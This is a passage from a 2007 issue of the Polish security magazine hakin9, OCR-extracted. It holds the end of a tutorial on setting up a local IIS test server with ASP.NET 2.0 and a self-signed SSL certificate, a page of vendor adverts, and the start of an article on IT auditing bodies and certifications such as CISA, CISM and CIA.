ki systemu Windows. Sprawdzamy,
czy zaznaczona jest pozycja Inter-
netowe usługi informacyjne (IIS),
a w jej szczegółach, czy są za-
znaczone pozycje Common Files,
Przystawka internetowych usług
informacyjnych, Usługa SMTP i
Usługa World Wide Web. Jeżeli
nie, zaznaczamy je i klikamy Dalej.

Rysunek 1.

Aplikacja Zarządzanie komputerem z rozwiniętą listą usług

dostępnych w systemie Windows XP SP2

Rysunek 2.

Okno menedżera serwera IIS

background image

hakin9 Nr 10/2007

www.hakin9.org

Obrona

64

Wówczas nastąpi instalacja zazna-
czonych składników. Po zakończe-
niu instalacji musimy jeszcze uru-
chomić odpowiednią usługę w sys-
temie Windows. Poprzez aplikację
Zarządzanie komputerem (Panel
sterowania / Narzędzia administra-
cyjne / Zarządzanie komputerem
)
wchodzimy w listę aktualnie do-
stępnych usług systemowych (le-
wa część okna, gałąź Usługi i apli-
kacje / Usługi
). W liście usług (Ry-
sunek 1) należy uruchomić: Admi-
nistrator programu IIS, Publikowa-
nie w sieci World Wide Web i ewen-
tualnie Simple Mail Transfer Proto-
col
(SMTP).

Uruchomienie usług IIS może

nie wystarczyć, aby serwer WWW
był w pełni aktywny. Musimy wyko-
nać jeszcze jeden drobny zabieg. W
oknie Narzędzia administracyjne kli-
kamy dwukrotnie ikonę Internetowe
usługi informacyjne (menedżer ten
dostępny jest także w drzewie okna
Zarządzanie komputerem). Urucho-
miona zostanie aplikacja systemo-
wa Internetowe usługi informacyjne
(Rysunek 2).

W jej oknie rozwijamy elemen-

ty dostępne w lokalnym kompute-
rze i zaznaczamy pozycję Domyśl-
na witryna sieci Web. Z menu kon-
tekstowego tej pozycji wybieramy
Uruchom lub klikamy trójkąt na pa-
sku narzędzi. W tej wersji serwera
IIS ograniczeniem jest możliwość
przechowywania tylko jednej stro-
ny WWW. Standardowo skonfigu-
rowany serwer IIS w katalogu C:
\Inetpub\wwwroot
powinien mieć
umieszczoną witrynę internetową.
Aby przetestować jego działanie,
umieszczamy tam plik Default.html,
w którym umieszczamy kod HTML
zaprezentowany na Listingu 1.

Myślę, że nie ma potrzeby tłu-

maczenia, co zostanie wyświetlo-
ne w oknie przeglądarki interneto-
wej podczas uruchomienia tego pli-
ku. My jednak dostęp do tej stro-
ny chcemy uzyskać z poziomu ser-
wera IIS. W tym celu uruchamiamy
przeglądarkę internetową i wpisuje-
my w niej adres http://localhost/ lub
http://127.0.0.1
. Powinniśmy zoba-
czyć utworzoną przed chwilą stro-
nę (Rysunek 3).

Rejestrowanie

ASP.NET 2.0 w IIS

Należy zwrócić uwagę, że jeże-
li IIS było zainstalowane lub rein-
stalowane po zainstalowaniu plat-
formy .NET, to konieczne jest zare-
jestrowanie usług ASP.NET w ser-
werze IIS. Zrobimy to na przykła-
dzie .NET w wersji 2.0. Pliki platfor-
my .NET umieszczone są w podka-
talogu Microsoft.NET\Framework\
katalogu systemowego Windows.
Znajdujemy tam katalog, który w
nazwie po v2.0 ma najwyższy nu-
mer. W moim przypadku będzie to
katalog Microsoft.NET\Framework\
v2.0.50727
. Jest tam program asp-
net_regiis.exe
służący do rejestro-
wania usługi ASP.NET dla serwe-
ra IIS.

Dla pewności uruchamiamy

program aspnet_regiis.exe z para-
metrem

–ua

, aby odinstalować inne

wersje platformy .NET, które mo-
gą być zarejestrowane w serwe-
rze IIS. Następnie uruchamiamy
program aspnet_regiis.exe z pa-
rametrem

–i

. Po chwili powinniśmy

uzyskać komunikat Finished instal-
ling ASP.NET (2.0.50727)
. Można

teraz przetestować, czy uda nam
się uruchomić prostą aplikację
ASP.NET. Powiedzmy, że mamy
już stworzoną witrynę ASP.NET
i chcielibyśmy ją móc uruchomić
za pomocą serwera IIS. Pierwszą
czynnością, jaką musimy wyko-
nać, jest uruchomienie menedże-
ra IIS (Rysunek 2). Zaznaczamy w
nim element Domyślna witryna sie-
ci Web
i wybieramy pozycję Nowy /
Katalog
wirtualny... z jej menu kon-
tekstowego (menu dostępnego po
skinięciu prawym klawiszem my-
szy). Uruchomiony zostanie Kre-
ator tworzenia katalogów wirtual-
nych
. Tworzymy w nim alias pod-
strony i klikamy przycisk Dalej.

Teraz korzystając z przycisku

Przeglądaj... wskazujemy katalog
projektu, który chcemy zarejestro-
wać w serwerze IIS. Ponownie kli-
kamy Dalej. Kolejna strona pozwa-
la na wybór uprawnień IIS wzglę-
dem tworzonego katalogu. W za-
leżności od typu naszego projektu
nadajemy odpowiednie prawa (od-
czyt
, uruchamianie skryptów, za-
pis
). Aby zakończyć pracę z kreato-
rem, klikamy jeszcze raz przycisk
Dalej, a następnie Zakończ. Jeżeli
alias został prawidłowo skonfiguro-
wany, to do gałęzi Domyślna witry-
na sieci Web
dodana zostanie no-
wa pozycja o tej samej nazwie, ja-
kiej użyliśmy przy tworzeniu aliasu.
Po uruchomieniu przeglądarki bę-
dziemy mogli wpisać adres witryny
korzystając z wirtualnego katalogu,
tj. http://localhost/nazwa_aliasu/.

Naszą witrynę WWW możemy

oczywiście po prostu skopiować
do katalogu C:\Inetpub\wwwroot.

W Sieci

http://www.iis.net/ – podstawowe źródło informacji na temat serwera IIS,
http://en.wikipedia.org/wiki/Transport_Layer_Security – artykuł opisujący zasadę

działania protokołów SSL i TLS,

http://www.microsoft.com/downloads/details.aspx?FamilyID=56fc92ee-a71a-

4c73-b628-ade629c89499&displaylang=en – link do pobrania pakietu IIS 6.0 Re-
source Kit Tool
, w którego skład wchodzi program SelfSSL użyty w artykule do ge-
nerowania publicznego klucza dla serwera IIS,

http://msdn.microsoft.com/vstudio/express/downloads/ – miejsce, skąd można

pobrać środowisko programistyczne Visual Web Developer Express Edition, które
umożliwia tworzenie stron ASP.NET.

Listing 1.

Testowa strona HTML

<

HTML

>

<

HEAD

>

<

TITLE

>

Test serwera WWW

<

/TITLE

>

<

/HEAD

>

<

BODY

>

Test serwera WWW

<

/BODY

>

<

/HTML

>

background image

Konfiguracja serwera IIS dla ASP.NET z protokołem SSL

hakin9 Nr 10/2007

www.hakin9.org

65

Będzie wówczas dostępna bezpo-
średnio po wpisaniu adresu http:
//localhost/
. Jeśli coś nie działa, po-
zostaje wyświetlenie pliku iis6.log
w katalogu systemowym Windows,
który zawiera informacje o działa-
niu serwera IIS. Proste strony bę-
dą na pewno działały bez zarzu-
tu. Ze skomplikowanym serwisa-
mi, które jednocześnie korzystają z
kilku technologii, sprawa może być
nieco bardziej skomplikowana i wy-
magać może instalowania dodatko-
wych komponentów.

Instalacja

certyfikatu SSL

Przechodzimy teraz do skonfigu-
rowania serwera IIS w ten sposób,
aby obsługiwał połączenia HTTPS.
Dzięki wielu kreatorom obecnym
w systemie Windows oraz odpo-
wiedniemu oprogramowaniu, czyn-
ność ta będzie również niezwy-
kle prosta. Pierwszym krokiem bę-
dzie zainstalowanie programu Sel-
fSSL, który wchodzi w skład pakie-
tu IIS 6.0 Resource Kit Tool. Ge-
neruje on publiczny klucz dla ser-
wera IIS i automatycznie konfi-
guruje go do obsługi stron typu
https://. Plik ten znajduje się w za-
sobach http://www.microsoft.com/
downloads
, a pełny link do jego
pobrania jest dosyć nieciekawy:
h t t p : / / w w w . m i c r o s o f t . c o m /
downloads/details.aspx?FamilyID
=56fc92ee-a71a-4c73-b628-ade-
629c89499&displaylang=en
. Na-
zwa pliku to iis60rkt.exe. Po po-
braniu uruchamiamy go. Na ekra-
nie naszego komputera powinno
pojawić się okno instalatora pakie-

tu IIS 6.0 Resource Kit Tool. Jak
zwykle w przypadku instalatorów
w systemie Windows, klikamy przy-
cisk Next. Po drodze zgadzamy się
na warunki licencji (nie mamy in-
nego wyboru, jeżeli chcemy zain-
stalować ten pakiet). Ponieważ w
skład pakietu IIS 6.0 Resource Kit
Tool
wchodzi sporo programów na-
rzędziowych, a my chcemy jedynie

skonfigurować połączenie HTTPS,
to w oknie wyboru rodzaju instalacji
wybieramy opcję Custom. Umożli-
wia nam to samodzielny wybór ele-
mentów z pakietu.

Kolejnym krokiem jest wybra-

nie ścieżki dostępu, w której chce-
my zainstalować pakiet IIS 6.0 Re-
source Kit Tool
. Po wyborze miej-
sca instalacji wybieramy elementy,
które chcemy zainstalować. Ponie-
waż mamy zamiar uruchomić połą-
czenie HTTPS z protokołem SSL,
wybieramy jedynie program Sel-
fSSL 1.0 (Rysunek 4). Oczywiście
nic nie stoi na przeszkodzie, aby
zainstalować wszystkie programy
wchodzące w skład IIS 6.0 Reso-
urce Kit Tool
.

Przed właściwą instalacją wy-

świetlone zostanie jeszcze okno
potwierdzające wybrane przez
nas programy. Klikamy przycisk
Next i czekamy, aż instalator za-

Lista niektórych CA

VeriSign http://www.verisign.com/index2.html,
Thawte http://www.thawte.com/,
QualitySSL http://www.qualityssl.com/,
ComodoSSL http://www.instantssl.com/,
IpsCA http://certs.ipsca.com/,
RapidSSL http://www.rapidssl.com/index_ssl.htm,
Go Daddyhttps://www.godaddy.com/gdshop/ssl/ssl.asp?isc=sslsomt04,
CAcert http://www.cacert.org/,
Home.plhttp://home.pl/serwery/ssl,
Signet http://www.signet.pl/index.html.

Rysunek 3.

Najprostszy test serwera WWW

Rysunek 4.

Wybór składników pakietu IIS 6.0 Resource Kit Tool

background image

hakin9 Nr 10/2007

www.hakin9.org

Obrona

66

kończy kopiować pliki. Tradycyj-
nie na końcu klikamy przycisk Fi-
nish
, który kończy instalację. W
ten sposób zainstalowaliśmy pro-
gram SelfSSL, generujący auto-
matycznie certyfikaty SSL i insta-
lujący je w serwerze IIS. Należy
mieć na uwadze fakt, że certyfi-
katy te nie są potwierdzane przez
żadną z wymienionych wcześniej
firm, więc przy uruchamianiu witry-
ny WWW przeglądarka interneto-
wa będzie wyświetlała odpowied-
nie ostrzeżenia.

Pozostało nam jeszcze wygene-

rowanie klucza publicznego dla ser-
wera IIS. Pakiet IIS 6.0 Resource
Kit Tool
w menu Start systemu Win-
dows w katalogu Programy/IIS Re-
sources/
umieszcza wszystkie swo-
je składowe (zależnie od typu insta-
lacji). Z menu Start wybieramy ka-
talog Programy/IIS Resources/Sel-
fSSL
i klikamy ikonę SelfSSL. Otwo-
rzy się widoczne na Rysunku 5 okno
komend.

W celu wygenerowania klucza

publicznego wydajemy komendę:

selfssl.exe /t

. Zostaniemy popro-

szeni o potwierdzenie instalacji cer-
tyfikatu SSL dla serwera IIS. Wpi-
sujemy z klawiatury y i przyciska-
my klawisz Enter. W ten sposób zo-
staje zainstalowany klucz publicz-
ny. Pozostałe opcje programu sel-
fssl.exe
to:

/T

– Opcja użyta przez nas do

automatycznego wygenerowa-
nia certyfikatu. Wybiera wszyst-
kie inne parametry jako domyśl-
ne,

/N

– Ustala nazwę certyfikatu.

Domyślnie jest to nazwa kompu-
tera,

/K

– Wielkość klucza SSL. Do-

myślnie wartość ta jest równa
1024,

/V

– Ilość dni, jakie wygenerowa-

ny certyfikat ma obowiązywać.
Domyślnie jest to 7 dni,

/S

– Numer identyfikacyjny wi-

tryny na serwerze IIS. Domyślna
wartość to 1. Tu zresztą nie ma-
my zbyt wielkiego wyboru, jeżeli
serwer IIS został skonfigurowa-
ny tak jak w opisie,

/P

– Numer portu dla połączenia

SSL. Standardowo jest to port
443,

/Q

– Nadpisywanie klucza bez

potwierdzenia,

Jedyne, co nam teraz pozostaje, to
sprawdzenie, czy całość działa. Za-
kładam, że mamy zdefiniowaną pro-
stą stronę ASP.NET 2.0 w serwerze
IIS i jest ona w jego katalogu www-
root
. Uruchamiamy przeglądar-
kę internetową i wpisujemy tym ra-
zem adres https://localhost. Ponie-
waż nasz certyfikat nie jest podpi-
sany przez żadną z organizacji CA,
powinniśmy zostać zapytani przez
przeglądarkę, czy akceptujemy cer-
tyfikat tej strony oraz poinformowani
o ewentualnych zagrożeniach. Jeśli
opisane kroki wykonaliśmy popraw-

nie, wówczas w przeglądarce inter-
netowej powinna się pojawić ikona
kłódki i informacja, że połączenie
jest szyfrowane.

Podsumowanie

Testowy serwer IIS wraz z obsłu-
gą połączeń HTTPS jest już skon-
figurowany. Dzięki niemu będziemy
mogli sprawdzać witryny ASP.NET
wymagające uwierzytelnienia SSL.
Ponieważ artykuł ten skierowany
jest do programistów, a jego zało-
żeniem było przedstawienie platfor-
my testowej dla witryn ASP.NET z
połączeniem HTTPS, to tak skonfi-
gurowanego serwera IIS nie nale-
ży udostępniać w Internecie – chy-
ba, że lubi się ryzyko. Udanych te-
stów! l

Rysunek 5.

Generowanie publicznego klucza dla serwera IIS

O autorach

Sławomir Orłowski – z wykształcenia fizyk. Obecnie jest doktorantem na Wydzia-
le Fizyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikołaja Kopernika w
Toruniu. Zajmuje się symulacjami komputerowymi układów biologicznych (dyna-
mika molekularna) oraz bioinformatyką. Programowanie jest nieodzowną częścią
jego pracy naukowej i dydaktycznej. Ma doświadczenie w programowaniu w języ-
kach C, C++, Delphi, Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje
od 2002 roku. Strona domowa: http://www.fizyka.umk.pl/~bigman/.
Kontakt z autorem: bigman@fizyka.umk.pl
Jacek Matulewski – fizyk zajmujący się na co dzień optyką kwantową i układa-
mi nieuporządkowanymi na Wydziale Fizyki, Astronomii i Informatyki Stosowa-
nej Uniwersytetu Mikołaja Kopernika w Toruniu. Jego specjalnością są symula-
cje ewolucji układów kwantowych oddziałujących z silnym światłem lasera. Od
1998 roku interesuje się programowaniem dla systemu Windows, w szczególno-
ści w środowisku Borland C++Builder. Ostatnio zainteresowany platformą .NET i
językiem C#. Poza opublikowanymi u nas książkami dotyczącymi programowa-
nia przygotował również cykl artykułów dla czasopisma „PC World Komputer” (od
sierpnia 2005 roku). Wierny użytkownik kupionego w połowie lat osiemdziesiątych
komputera osobistego ZX Spectrum 48k.
Kontakt z autorem: jacek@fizyka.umk.pl

background image

Media Systems

Firma Media Systems oferuje Państwu

profesjonalny system CashBill.pl,

umożliwiający zarządzanie usługami

SMS Premium Rate w sektorze B2B

i B2C.

Oferujemy również szeroki wachlarz

usług mikropłatniczych, płatności

elektronicznych oraz indywidualne, de-

dykowane rozwiązania przy budowie

aplikacji mobilnych.

TTS Company Sp. z o.o.

Oprogramowanie

komputerowe -

sprzedaż, dystrybucja oraz import na

zamówienie. W ofercie programy au-

torstwa ponad stu firm z całego świa-

ta. Zapraszamy do współpracy - zostań

naszym klientem lub dostawcą.

www.OprogramowanieKomputerowe.pl

Zepter IT

Zepter IT to dynamicznie rozwijająca

się firma, specjalizująca się w realiza-

cji projektów informatycznych.

Oferujemy rozwiązania dla biznesu

i zarządzania takie jak systemy ERP

czyli zarządzanie zasobami firmy, pod-

noszenie jakości i obniżanie kosztów.

Zepter IT świadczy również usługi in-

ternetowe - serwisy www, e-commerce,

tworzenie aplikacji internetowych oraz

systemów zarządzania treścią.

www.zepterit.com

Pr

en

um

er

at

a

PR

O

Prenumerata PRO

ko

nt

ak

t d

o

na

s:

m

ar

ty

na

.z

ac

ze

k@

so

ft

w

ar

e.

co

m

.p

l

ka

ta

rz

yn

a.

ju

sz

cz

yn

sk

a@

so

ft

w

ar

e.

co

m

.p

l

te

l.

: 2

2

88

7

13

4

5

Petrosoft

Partner Microsoft Bussiness Solutions

Dynamics GP. Budowa sklepów inter-

netowych, serwisów WWW, prezentacji

multimedialnych. Budowa sieci LAN,

WAN, telekomunikacyjnych. Telefonia

stacjonarna, VoiceIP. Usługi outsor-

cingowe dla dużych firm z zakresu

informatyki i telekomunikacji. Opro-

gramowanie na zamówienia. Dostawa

serwerów, sprzętu, oprogramowania.

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

background image

www.hakin9.org

hakin9 Nr 10/2007

68

Bezpieczna Firma

A

udyt informatyczny (wg. ISACA) – jest
to proces zbierania i oceniania dowo-
dów w celu określenia, czy system in-

formatyczny i związane z nim zasoby właści-
wie chronią majątek, utrzymują integralność
danych, dostarczają odpowiednich i rzetelnych
informacji, osiągają efektywnie cele organiza-
cji, oszczędnie wykorzystują zasoby i stosują
mechanizmy kontroli wewnętrznej tak, aby do-
starczyć rozsądnego zapewnienia, że osiąga-
ne są cele operacyjne i kontrolne oraz że chro-
ni się przed niepożądanymi zdarzeniami lub są
one na czas wykrywane, a ich skutki na czas
korygowane.

Nikogo nie trzeba przekonywać, że współ-

czesne środowisko zarówno międzynarodo-
wego, jak i lokalnego biznesu nie może się
obyć bez wsparcia ze strony rozwiązań infor-
matycznych. Ciągły rozwój nowych technolo-
gii usprawnia działanie firmy, wspomaga osią-
ganie celów biznesowych i zwiększa konku-
rencyjność organizacji. Pomimo tak wielu za-
let, jakie przynosi informatyzacja dla instytucji
i podmiotów gospodarczych, musimy przyjrzeć
się zagrożeniom, jakim w związku z nią przyj-
dzie nam stawić czoła. Badania Europejskie-
go Instytutu Zarządzania dowodzą, że co ro-

ku każda duża firma traci około 1,6 mln euro w
wyniku nieodpowiedniego zarządzania infra-
strukturą i systemami informatycznymi. Szacu-
je się również, że w małych i średnich firmach
jest podobny problem – straty w przychodach
z tytułu złego zarządzania w IT sięgają 15%
– 25%. Według badań uniwersytetu w Chicago
połowa firm, którym skradziono dane, bankru-
tuje prawie natychmiast, zaś 30% w ciągu na-
stępnego roku. Potrzeba i konieczność ochro-
ny informacji przed stale rosnącą liczbą nad-
użyć, świadomych lub nieświadomych działań
lub też zaniechania poczynań przeciw zagro-

Audyt systemów

informatycznych

Wojciech Malec

stopień trudności

Żadne rozwiązania informatyczne nie są w pełni doskonałe,

a sama organizacja bezpieczeństwa teleinformatycznego nie jest

łatwym zadaniem. Taka sytuacja rodzi duże prawdopodobieństwo

powstania nieprawidłowości i nadużyć, które nieuchronnie

prowadzą do braku osiągnięcia celów biznesowych, poniesienia

strat finansowych lub też upadłości organizacji.

Z artykułu dowiesz się

• co to jest i jak powstał audyt informatyczny,
• jakie są najważniejsze organizacje zawodowe

właściwe dla audytu informatycznego, jakie są
certyfikaty dla audytorów i w jakim celu są wy-
dawane.

Co powinieneś wiedzieć

• znać podstawowe zasady bezpieczeństwa in-

formatycznego.

background image

Audyt systemów informatycznych

hakin9 Nr 10/2007

www.hakin9.org

69

żeniom jest oczywista. Liczba spo-
sobów ochrony przed zagrożenia-
mi, a także narzędzi pomocniczych,
stale wzrasta. Dobór odpowiednich
mechanizmów tak, aby odpowiada-
ły potrzebom i możliwościom organi-
zacji wymaga zastosowania dodat-
kowych narzędzi. Do tych właśnie
celów ma zastosowanie audyt sys-
temów informatycznych. Jako nie-
zależne źródło kontroli organizacji
bezpieczeństwa systemów informa-
tycznych, audyt nie tylko weryfikuje
dobór zastosowanych środków, ale
bardzo często zapobiega naduży-
ciom i przestępstwom wymierzo-
nym w organizację. Ceny audytów
informatycznych są zależne od ich
zakresu. Jeśli chodzi tylko o audyt
sprzętu, oprogramowania na nim za-
instalowanego i jego legalności, na-
leży liczyć ok. 90 PLN za stację ro-
boczą.

Historia audytu

informatycznego

Audyt jako pierwszy pojawił się w
sektorze finansów, gdzie badano
sprawozdania finansowe przedsię-
biorstw i instytucji. W obszarze au-
dytu finansowego powołano orga-
nizacje, które mają za zadanie po-
twierdzić kwalifikacje audytorów
ksiąg rachunkowych poprzez certy-
fikację. Z tą dziedziną związana jest
międzynarodowa organizacja Asso-
ciation of Chartered Certified Acco-
untants
– Stowarzyszenie Certyfiko-
wanych Księgowych a w Polsce Kra-
jowa Izba Biegłych Rewidentów. Na-
stępnym krokiem przyczyniającym
się do rozwoju audytu było rozpropa-
gowanie i rozwój audytu wewnętrz-
nego. W tej dziedzinie powstała
międzynarodowa organizacja Insty-
tut Audytorów Wewnętrznych – In-
stitute of Internal Auditors
, do kom-
petencji której należy między inny-
mi ustalanie właściwych standar-
dów. W Polsce odpowiednikiem tej
organizacji jest Polski Instytut Kon-
troli Wewnętrznej. Z początku przed-
miotem audytu była tylko dziedzina
finansowa, później nastąpiła ewolu-
cja i zakres audytu rozszerzył się na
wszystkie procesy występujące w in-
stytucji. Trudności w organizacji, za-

rządzaniu i kontroli energicznie roz-
wijających się technologii informa-
tycznych, jak również stale rosnące
zagrożenia mające wpływ na bez-
pieczeństwo informacji, spowodo-
wały powstanie audytu informatycz-
nego. Tak jak w przypadku audytu fi-
nansowego, instytucje zaczęły two-
rzyć specjalne działy wyspecjalizo-
wane w prowadzeniu audytu infor-
matycznego.

Organizacje zawodowe

W ramach audytów finansowych
powstały organizacje zrzeszają-
ce i w pewien sposób autoryzujące
profesjonalistów w dziedzinie audy-
tu finansowego. Podobnie stało się
w obszarze audytu informatyczne-
go. Potrzeba kontaktów w celach
wymiany poglądów, wiedzy i do-
świadczeń, a także ustalania stan-
dardów wśród audytorów informa-
tycznych zaowocowała powstaniem
organizacji zawodowych jednoczą-
cych ludzi wykonujących wspólną
profesję.

ISACA

Information Systems Audit and Con-
trol Organisation
– pierwsza i naj-
większa międzynarodowa organiza-
cja w dziedzinie audytu informatycz-
nego powstała w roku 1967. Dziś li-
czy ponad 50 000 osób w prze-
szło 140 krajach na całym świecie.
W Polsce od 1997 roku istnieje je-
den oddział stowarzyszenia – ISA-
CA Warsaw Charter. Organizacja ta
ma na celu podnoszenie wiedzy oraz
praktyki w obszarze audytu i kontro-
li systemów informatycznych. Człon-
kowie stowarzyszenia i posiadacze
certyfikatów ISACA są zobowiąza-
ni do przestrzegania zasad postę-
powania Kodeksu Etyki Zawodowej.
ISACA wspiera i promuje także stan-
dardy i dobre praktyki skutecznego
zarządzania oraz kontroli technolo-
gii informatycznych. Stowarzysze-
nie to jest między innymi autorem
programu PSS – Professional Semi-
nar Serie
s, wydaje certyfikaty CISA
Certified Information Systems Au-
ditor
i CISM – Certified Information
Security Manager.
Najbardziej zna-
nym standardem zarządzania i kon-

troli systemów informatycznych tej
organizacji jest COBIT – Control Ob-
jectives for Information and Related
Technology
. Innym znanym standar-
dem audytu środowiska sieciowego
jest CONeCT – Control Objectives
for Net Centric Technology.

IIA

The Institute of Internal Auditors – to
międzynarodowa organizacja sku-
piająca audytorów wewnętrznych
(ponad 80 tysięcy członków w 120
krajach). Polski oddział został zare-
jestrowany w 2002 roku jako Stowa-
rzyszenie Audytorów Wewnętrznych
IIA-Polska. Organizacja ta zrzesza
zarówno obecnych audytorów, jak i
kandydatów. Do stowarzyszenia mo-
gą należeć także inne osoby zainte-
resowane tą profesją – kontrolerzy,
księgowi, członkowie rad nadzor-
czych, pracownicy naukowi, studen-
ci związanych kierunków.

Główne cele IIA:

• działalność promocyjna audytora

wewnętrznego,

• upowszechnianie międzynarodo-

wych Standardów Profesjonalnej
Praktyki Audytu Wewnętrznego,

• podejmowanie i prowadzenie

działalności w zakresie doskona-
lenia kwalifikacji dla prawidłowe-
go wykonywania zawodu audyto-
ra wewnętrznego oraz możliwo-
ści zatrudnienia,

• reprezentowanie i ochrona praw i

interesów zawodowych członków
stowarzyszenia,

• krzewienie poczucia godności i

wspólnoty zawodowej oraz upo-
wszechnienie pozycji i znaczenia
zawodu audytora wewnętrznego,

• stworzenie forum wymiany do-

świadczeń,

• krzewienie i propagowanie za-

sad etyki i rzetelności, lojalności
zawodowej oraz uczciwej konku-
rencji,

• czuwanie nad przestrzeganiem

tych zasad,

• prowadzenie działalności nauko-

wo-dydaktycznej (w tym również
kształcenie studentów), jak i sze-
roko rozumianej działalności kul-
turalnej.

background image

hakin9 Nr 10/2007

www.hakin9.org

Bezpieczeństwo w firmie

70

Instytut Audytorów Wewnętrznych
daje możliwość uzyskania certyfi-
katów zawodowych poświadczają-
cych międzynarodowe przygotowa-
nie zawodowe w zakresie audytu
wewnętrznego. Zasadniczym mię-
dzynarodowym certyfikatem jest CIA
Certified Internal Auditor.

PIKW

Polski Instytut Kontroli Wewnętrznej
– jest to instytucja założona w roku
1998, która przygotowuje kadry do
oceny systemów kontroli wewnętrz-
nej i profesjonalnego wykonywania
zawodu audytora wewnętrznego.
Organizacja ta zajmuje się proble-
matyką systemów kontroli wewnętrz-
nej, audytu wewnętrznego, proce-
sów zarządzania ryzykiem, zarzą-
dzania korporacyjnego (governan-
ce), wykrywania i zapobiegania ko-
rupcji, oszustwom oraz nadużyciom.
Wspomaga też kształcenie audyto-
rów i kontrolerów wewnętrznych za-
trudnionych we wszystkich organi-
zacjach gospodarki i administracji
państwowej w Polsce. Instytut ten
współpracuje z międzynarodowymi
organizacjami, dostosowuje najlep-
sze standardy i praktyki stosowane
na całym świecie (szczególnie w kra-
jach UE) do polskich warunków.

Certyfikacja

W celu uwiarygodnienia dostaw-
ców usług audytorskich o należy-
tym poziomie profesjonalizmu, za-
istniała potrzeba udokumentowania
i potwierdzenia uprawnień oraz obo-
wiązków. Dla poświadczenia kompe-
tencji grupy zawodowej audytorów
systemów informatycznych, właści-
we organizacje opracowały progra-
my certyfikujące.

CISA

Certified Information Systems Au-
ditor
– to międzynarodowy program
certyfikacji audytorów systemów in-
formatycznych opracowany przez
organizację ISACA. Certyfikat ten
ma za zadanie utrzymanie właści-
wego poziomu zawodowego osób
związanych z bezpieczeństwem in-
formatycznym. Nad rozwojem syste-
mu certyfikacji czuwa specjalnie do

tego celu wyznaczony komitet – CI-
SA Certification Board.

Cel programu certyfikacji:

• rozwój i utrzymanie narzędzi te-

stowania, służących do oceny in-
dywidualnych kompetencji w za-
kresie audytów informatycznych,

• dostarczanie mechanizmów mo-

tywujących do utrzymywania
swoich kompetencji oraz moni-
torowania efektów programów
szkoleniowych,

• pomoc kadrze kierowniczej w

rozwijaniu funkcji kontroli syste-
mów informatycznych.

Certyfikat ten posiada już około 12
000 osób na całym świecie. Egza-
min odbywa się dwa razy do roku: w
drugą sobotę czerwca i drugą sobotę
grudnia. W Polsce egzamin ma miej-
sce w Warszawie. Wymagania dla
kandydatów chcących uzyskać cer-
tyfikat CISA:

• udokumentowanie minimum pię-

ciu lat praktyki w zakresie audy-
tu, kontroli i bezpieczeństwa sys-
temów informatycznych,

• opłacenie kosztów egzaminu,
• zdanie egzaminu,
• stosowanie Kodeksu Etyki Zawo-

dowej ISACA.

Certyfikat CISA ma obecnie dość
duże znaczenie na rynku pracy, sta-
nowi bowiem poświadczenie kompe-
tencji zawodowych osoby posiadają-
cej certyfikat oraz stałe podnosze-
nie kwalifikacji dzięki polityce ciągłe-
go kształcenia. Z tego także powo-
du liczba kandydatów do egzaminu
CISA stale wzrasta. Egzamin CISA
składa się z 200 pytań. Do każdego
pytania są cztery odpowiedzi, z któ-
rych jedna jest poprawna. Egzamin
trwa cztery godziny, prowadzony jest
w językach: angielskim, duńskim,
francuskim, hebrajskim, hiszpań-
skim, japońskim, koreańskim, nie-
mieckim i włoskim. Wiedzę z zakre-
su egzaminu można zdobyć na spe-
cjalnych szkoleniach przygotowa-
nych przez stowarzyszenie ISACA.
Również uczelnie – zarówno pań-
stwowe, jak i prywatne – dają moż-

liwość pogłębienia tej wiedzy na róż-
nego rodzaju studiach podyplomo-
wych. Koszt certyfikacji to wydatek
360 – 530 USD w zależności od ter-
minu rejestracji na egzamin i przyna-
leżność do organizacji ISACA. Zniż-
ki są przyznawane dla członków or-
ganizacji i przy wcześniejszym zgło-
szeniu on-line na stronie http://
www.isaca.org/examreg
.

Zagadnienia obowiązujące na

egzaminie CISA:

• proces audytowania systemów

informatycznych – 10% pytań,

• zarządzanie, planowanie i orga-

nizacja systemów informatycz-
nych – 11% pytań,

• infrastruktura techniczna i prak-

tyki operacyjne – 13% pytań,

• ochrona zasobów informacyj-

nych – 25% pytań,

• odtwarzanie po katastrofach i

ciągłość biznesu – 10% pytań,

• rozwój, nabywanie, wdrażanie i

utrzymywanie biznesowych sys-
temów aplikacyjnych – 16% py-
tań,

• ocena procesu biznesowego i

zarządzanie ryzykiem – 15% py-
tań.

CISM

Certified Information Security Ma-
nager
– jest to certyfikat opracowa-
ny także przez organizację ISACA,
jednak skierowany dla zarządzają-
cych, projektujących, wdrażających
i rozwijających proces bezpieczeń-
stwa organizacji. Osoby szczególnie
zasłużone dla rozwoju audytu sys-
temów informatycznych otrzymały
ten certyfikat jako pierwsze. Obec-
nie, aby móc tytułować się tym cer-
tyfikatem, oprócz udokumentowania
wieloletniego doświadczenia zawo-
dowego, należy także zdać egzamin.
Egzamin CISM odbywa się w tych

Literatura

Marian Molski, Małgorzata Łacheta,
Przewodnik audytora systemów informa-
tycznych
, Wydawnictwo HELION, 2007.
Tomasz Polaczek, Audyt bezpieczeń-
stwa informacji w praktyce
, Wydawnic-
two HELION, 2006.

background image

Audyt systemów informatycznych

hakin9 Nr 10/2007

www.hakin9.org

71

samych terminach co CISA, forma
egzaminu jest też bardzo podobna.
Koszt certyfikacji jest zależny termi-
nu egzaminu i przynależności do or-
ganizacji ISACA, wynosi identycz-
nie jak w przypadku egzaminu CISA
od 360 do 530 USD. Wymagania dla
kandydatów chcących uzyskać cer-
tyfikat CISM:

• udokumentowanie minimum pię-

ciu lat praktyki w obszarze bez-
pieczeństwa systemów informa-
tycznych,

• opłacenie kosztów egzaminu,
• zdanie egzaminu CISM,
• stosowanie Kodeksu Etyki Zawo-

dowej ISACA.

CIA

Certified Internal Auditor – certyfikat
ten oferowany jest przez organizację
IIA. Sprawdza i zaświadcza wiedzę
i umiejętności w zakresie niezbęd-
nym do wykonywania zawodu audy-
tora wewnętrznego. Wymagania dla
kandydatów chcących uzyskać cer-
tyfikat CIA:

• posiadanie minimum dwuletnie-

go doświadczenia w audycie we-
wnętrznym,

• przedstawienie poświadczenia o

postawie zawodowej i moralnej
kandydata,

• ukończenie studiów wyższych z

dyplomem minimum licencjata,

• zdanie czterech części egzami-

nu.

Instytut IIA przyznał już ponad 40
tysięcy takich certyfikatów. Oferuje
także trzy inne specjalistyczne cer-
tyfikaty:

• CFSA – Certified Financial Servi-

ces Auditor,

• CGAP – Certified Government

Auditing Professional,

• CCSA – Certification in Control

